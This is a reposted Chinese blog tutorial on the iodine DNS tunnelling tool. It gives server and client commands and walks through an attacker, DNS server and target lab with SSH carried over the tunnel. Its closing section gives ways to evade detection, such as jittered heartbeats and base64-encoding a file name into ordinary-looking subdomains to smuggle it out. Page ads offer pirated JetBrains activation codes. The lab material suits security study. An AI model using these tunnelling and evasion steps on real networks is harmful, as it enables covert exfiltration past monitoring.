1. 全栈程序员必看首页

内网穿透 隧道_内网渗透攻击

全栈程序员-站长 • • 未分类 • 阅读 0

内网穿透 隧道_内网渗透攻击本文研究DNS隧道的一个经典工具，iodine

大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全家桶1年46，售后保障稳定

目录

前言

本文研究DNS隧道的一个经典工具，iodine

github：https://github.com/yarrick/iodine

一、概述

1、简介

持续更新，C语言编写，官方：http://code.kryo.se/iodine/

IPv4 over DNS，即通过DNS隧道转发IPv4数据包，在编码，请求类型上提供了更丰富的选择

  • 客户端为Win10时，环境搭建后，可连接成功，但无法ping通（即不可用！）
  • 支持直连和中继两种模式
  • 支持常见的DNS解析类型：A、CNAME、MX、TXT等

2、原理

DNS原理见：一文搞明白DNS与域名解析

通过TAP虚拟网卡，在服务端建立一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一局域网（可以通过ping命令通信）。在客户端和服务端之间建立连接后，客户机上会多出一块“dns0”的虚拟网卡。
　　
DNS隧道流程：iodine客户端->DNS服务商->iodined服务端

3、用法

（1）服务端

iodined -f -c -P <password> 10.0.0.1 vpn.abc.com -DD
-f：在前台运行
-c：禁止检查所有传入请求的客户端IP地址。
-P：客户端和服务端之间用于验证身份的密码。
-D：指定调试级别，-DD指第二级。“D”的数量随级别增加。
这里的10.0.0.1是自定义的局域网虚拟IP地址。

Jetbrains全家桶1年46，售后保障稳定

（2）客户端

linux环境：

iodine -f -P  <password> vpn.abc.ltd -M 200
-r：iodine有时会自动将DNS隧道切换为UDP隧道，该参数的作用是强制在任何情况下使用DNS隧道
-M：指定上行主机的大小。
-m：调节最大下行分片的大小。
-T：指定DNS请求类型TYPE，可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O：指定数据编码规范。
-L：指定是否开启懒惰模式，默认开启。
-I：指定两个请求之间的时间间隔。

windows环境：

  • windows客户端可以直接使用编译好的windows版本，同时需要安装TAP网卡驱动程序。
  • 也可以下载OpenVPN，在安装时仅选择TAP-Win32驱动程序，安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡。
  • 运行客户端程序iodine：iodine -f -P <password> vpn.abc.com，如果出现提示“Connection setup complete, transmitting data”，就表示DNS隧道已经建立。

二、实践

1、测试场景

（1）攻击机

Kali2021 192.168.10.128

（2）DNS服务器

windows server 2008 ：192.168.10.200

设置静态IP，参见https://blog.csdn.net/pockeyfan/article/details/42063683

新建A记录，指向服务端kali
在这里插入图片描述
新建一个委托（即NS记录）指向刚刚设定的A记录的域名
在这里插入图片描述
再建一个A记录指向windows server自己
在这里插入图片描述

（3）目标机

Ubuntu 18.04 192.168.10.129

由于模拟的是DNS服务器是真正的权威服务器，即目标机应该能DNS解析到DNS服务器，所以要把目标机的DNS解析改下

在这里插入图片描述
nslookup检测下

在这里插入图片描述

2、建立隧道

（1）服务端

建立隧道前状态
在这里插入图片描述
建立隧道

iodined -f -c -P 123456 10.0.0.1 dnstunnel.test.com -DD

在这里插入图片描述
此时多了一个网卡dns0，ip是我们设置的10.0.0.1
在这里插入图片描述

（2）客户端

建立隧道前状态
在这里插入图片描述
建立隧道

iodine -f -r -P 123456 dnstunnel.test.com

在这里插入图片描述
也是多了个网卡dns0，ip为10.0.0.2
在这里插入图片描述

（3）ssh

此时隧道建立成功，在服务端会打印出心跳包
在这里插入图片描述
尝试ssh
在这里插入图片描述
隧道成功建立，流量可代理
此时，打印出的包如下：

在这里插入图片描述

3、抓包看看

建立隧道，域名让人没眼看
在这里插入图片描述
虚拟网卡中TCP握手
在这里插入图片描述
心跳包，走了一个来回，域名太异常了
在这里插入图片描述
虚拟网卡中
在这里插入图片描述
ssh时
在这里插入图片描述
虚拟网卡中
在这里插入图片描述

三、探索

1、源码与分析

TODO

2、检测与绕过

（1）虚拟网卡

本工具会创建个虚拟网卡来处理TCP

没法避免

（2）记录类型

这对本工具问题不大，因为可以支持常见记录类型，上面实验里是没有指定，但可以指定为A就问题不大

（3）异常DNS数据包数量

利用隧道时，会有大量DNS数据包，且来自同一DNS服务器

绕过方法：中间加间隔，但这样就会导致速度非常慢

（4）异常域名

建立隧道和心跳包的域名都太异常了，使用隧道时的域名就更是长base64字符串了

绕过方法：心跳包用正常域名，使用隧道时将base64拆分，不过会大大增加数据包数量

比如现在要把一个文件名 finalexamanswer.doc 传出去
base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名，变成 Zm -> zone.music.domain，lu -> login.user.domain，YW``yun.web.domain …

（5）心跳包

心跳包的间隔已经比较长了（3s），但是数量是问题

绕过方法：间隔可以随机，数量可以换UDP socket重新建立隧道

结语

类似于icmptunnel，构建虚拟网卡来实现隧道

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。

发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/219611.html原文链接：https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长
0 0


相关推荐

  • eclipse乱码解决

    eclipse乱码解决

    eclipse乱码解决关于eclipse乱码解决网上好多解决之道，今天遇到了但是试了试怎么都不好使，原因是方法可以，只是不太详细参考网址：https://blog.csdn.net/YouAreMy_Sunshine/article/details/797597921.修改项目编码格式：  鼠标移到项目名，右键-&gt;Properties-&gt;Resource-&gt;TextfileenCodi…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年5月26日
  • Java 在IDEA社区版中配置Tomcat并使用 idea

    Java 在IDEA社区版中配置Tomcat并使用

    Java 在IDEA社区版中配置Tomcat并使用目录1.下载插件SmartTomcat2.在IDEA中配置Tomcat前言配置之前必须先配置好了Tomcat，这是在已经配置好Tomcat的前提下进行的，如果没有配置Tomcat下面有怎么配置Tomcat和Maven的链接配置Tomcat：https://blog.csdn.net/weixin_44953227/article/details/111575409配置Maven：https://blog.csdn.net/weixin_44953227/ar

    全栈程序员-站长的头像 全栈程序员-站长
    2022年9月22日
  • jlink接口定义接stm32_图解STM32 JLink 采用JTAG 模式和 SWD模式下载时引脚说明「建议收藏」

    jlink接口定义接stm32_图解STM32 JLink 采用JTAG 模式和 SWD模式下载时引脚说明「建议收藏」

    jlink接口定义接stm32_图解STM32 JLink 采用JTAG 模式和 SWD模式下载时引脚说明「建议收藏」因为项目开发需要，采用SWD模式下载STM32,以前都是用JLINKv8的JTAG模式，而且从未认真识别过JLINKv8各引脚。只知道SWD模式下和JTAG模式下共用两个引脚而已。只有明确了v8的各引脚定义才可以自己用杜邦线取其中的几个引脚作SWD模式的下载！！！实际测试，当JATG正面拿在手里时，即缺口在上方。1、2引脚代表VDD。4、6、8、10、12、14、16、18、20引脚都为VSS。…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年5月8日
  • 儿童节快乐，2018过的真快

    儿童节快乐，2018过的真快

    我们也曾是儿童，也过过儿童节！儿童节，现在回想起来怎么都没有任何印象！儿童节让我想到了自己的小时候，自己的小学，三年级前上学的地方还离家很近，之后到了另一个地方上学，每天早上要很早起床，尤其是冬天的时候天还没有亮（北方的那个冬天的早上，真是冷啊，记得最冷的时候早上去上学的路上，冷的不行了，先打一堆火，烤一会再走），小时候早上上学的时候，妈妈就很早起床给我做早饭了，我吃过早饭然后去上…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年2月27日
  • c++ double转string

    c++ double转string

    c++ double转string//double精度17位stringDoubleToStr(doublenum){ ostringstreamout; //设置精度 out.precision(17); out<<num; returnout.str();}

    全栈程序员-站长的头像 全栈程序员-站长
    2022年10月28日
  • 机器学习十大算法简介

    机器学习十大算法简介

    机器学习十大算法简介K-Means算法K-Means算法是一种聚类算法，把n个对象根据他们的属性分成k个分类，并且使这K个分割的内部相似度最大，而分割之间的相似度最小。其主要的算法流程如下：1.从n个对象中任意选K个对象，作为每个聚类的中心2.根据K个中心，按照每个对象离K个中心的最小距离（离那个中心近，就划分到哪个中心），将n个对象划分成K个分割（聚类）3.然后计a ge su a分割的中心（

    全栈程序员-站长的头像 全栈程序员-站长
    2022年11月1日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号